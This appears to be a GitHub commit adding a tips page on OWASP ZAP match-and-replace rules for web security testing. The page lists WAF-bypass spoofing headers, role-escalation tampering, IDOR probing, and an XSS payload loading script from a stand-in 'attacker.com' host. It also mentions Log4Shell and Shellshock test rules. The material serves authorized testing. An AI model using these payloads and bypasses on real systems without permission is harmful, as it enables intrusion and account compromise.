Skip to content

Commit 557a449

Browse files
authored
Merge pull request #352 from kingthorin/tips-part1
Add other/tips section - part 1
2 parents ea1849e + 6a67a21 commit 557a449

File tree

14 files changed

+121
-0
lines changed

14 files changed

+121
-0
lines changed
Lines changed: 121 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,121 @@
1+
# Match and Replace ZAP
2+
3+
Useful Match and Replace ZAP rules.
4+
5+
Inspired by: https://github.com/daffainfo/match-replace-burp
6+
7+
## Finding hidden buttons, forms, and other UI elements
8+
9+
Many sites contain hidden UI elements such as:
10+
11+
```html
12+
<div aria-hidden="true"></div>
13+
<div style="visibility: hidden;"></div>
14+
<div style="display: none;"></div>
15+
<script>document.getElementbyTagName("test").hidden=true</script>
16+
<button type="button" disabled>test</button>
17+
```
18+
19+
In ZAP these can be Revealed with standard functionality: <https://www.zaproxy.org/docs/desktop/addons/reveal/>, however should that not accommodate a particular bit of code/functionality you're encountering a Replacer rule can be leveraged to un-hide or re-enable the component.
20+
21+
- Show Hidden UI
22+
23+
![](images/show-hidden-1.png)
24+
25+
- Show display:none UI
26+
27+
![](images/show-hidden-2.png)
28+
29+
- Change disable to enable
30+
31+
![](images/show-hidden-3.png)
32+
33+
## Changing false to true
34+
35+
Sometimes it is possible to un-hide or re-enable functionality or UI components by simply changing `false` to `true`.
36+
Here are some example scenarios:
37+
38+
- Changing role from normal user to admin
39+
40+
![](images/false-true-admin.png)
41+
42+
- Set email verified
43+
44+
![](images/false-true-email.png)
45+
46+
## Bypass WAF
47+
48+
Bypassing WAF by adding some request headers.
49+
50+
- Adding `X-Forwarded-Host: 127.0.0.1`
51+
52+
![](images/bypass-waf.png)
53+
54+
Other request headers/values which may assist in bypassing WAFs include (but are not limited to):
55+
56+
```text
57+
X-Forwarded-Port: 127.0.0.1
58+
X-Forwarded-By: 127.0.0.1
59+
X-Forwarded-Scheme: 127.0.0.1
60+
X-Forwarded-For: 127.0.0.1
61+
X-Client-IP: 127.0.0.1
62+
X-Real-IP: 127.0.0.1
63+
X-Originating-IP: 127.0.0.1
64+
X-Remote-IP: 127.0.0.1
65+
X-Remote-Addr: 127.0.0.1
66+
X-Cluster-Client-IP: 127.0.0.1
67+
True-Client-IP: 127.0.0.1
68+
Client-IP: 127.0.0.1
69+
Origin: null
70+
Origin: Domain.attacker.com
71+
```
72+
73+
Note: Adding multiple headers might be easier with a:
74+
- [Proxy Script](https://github.com/zaproxy/community-scripts/blob/main/proxy/WAF_Bypass.js)
75+
or
76+
- [HttpSender Script](https://github.com/zaproxy/community-scripts/tree/main/httpsender)
77+
78+
## Finding IDOR
79+
80+
For example changing a known UUID to another value:
81+
82+
![](images/finding-idor.png)
83+
84+
## Finding XSS
85+
86+
- Finding XSS on `Referer`
87+
88+
![](images/finding-xss-referer.png)
89+
90+
- Automatically replace user input with an XSS payload
91+
92+
![](images/finding-xss-user.png)
93+
94+
So by just inputting the string `xss_payload` on the website it will be immediately replaced with `"><script src=https://attacker.com></script>`.
95+
Change the XSS payload as you see fit.
96+
97+
## Misc
98+
99+
- Help companies to identify your traffic and separate it from malicious traffic by adding a custom header
100+
101+
![](images/hackerone-header.png)
102+
103+
- Setting the `User-Agent` (UA) or emulating a mobile browser.
104+
105+
In ZAP the User-Agent request header is controlled via Connection options. However, if you wanted to emulate a mobile browser in order to see the mobile UI of a target or perhaps discover some different functionality or behavior. You could change it to a Mobile UA: https://www.zaproxy.org/docs/desktop/addons/network/options/connection/#default-user-agent
106+
107+
For example: `Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Mobile/15E148 Safari/604.1`
108+
109+
<https://www.whatismybrowser.com/guides/the-latest-user-agent/> is a good source for up-to-date User-Agent strings.
110+
111+
This could also be done with a Replacer rule.
112+
113+
![](images/emulate-ios.png)
114+
115+
- Finding [CVE-2021-44228](https://github.com/advisories/GHSA-jfh8-c2jp-5v3q)
116+
117+
![](images/log4shell.png)
118+
119+
- Replace User-Agent with shellshock attack [CVE-2014-6271](https://github.com/advisories/GHSA-6hfc-grwp-2p9c)
120+
121+
![](images/shellshock.png)
19.1 KB
Loading
24.3 KB
Loading
17 KB
Loading
18.2 KB
Loading
11.6 KB
Loading
19.8 KB
Loading
18.1 KB
Loading
19.8 KB
Loading
20.7 KB
Loading

0 commit comments

Comments
 (0)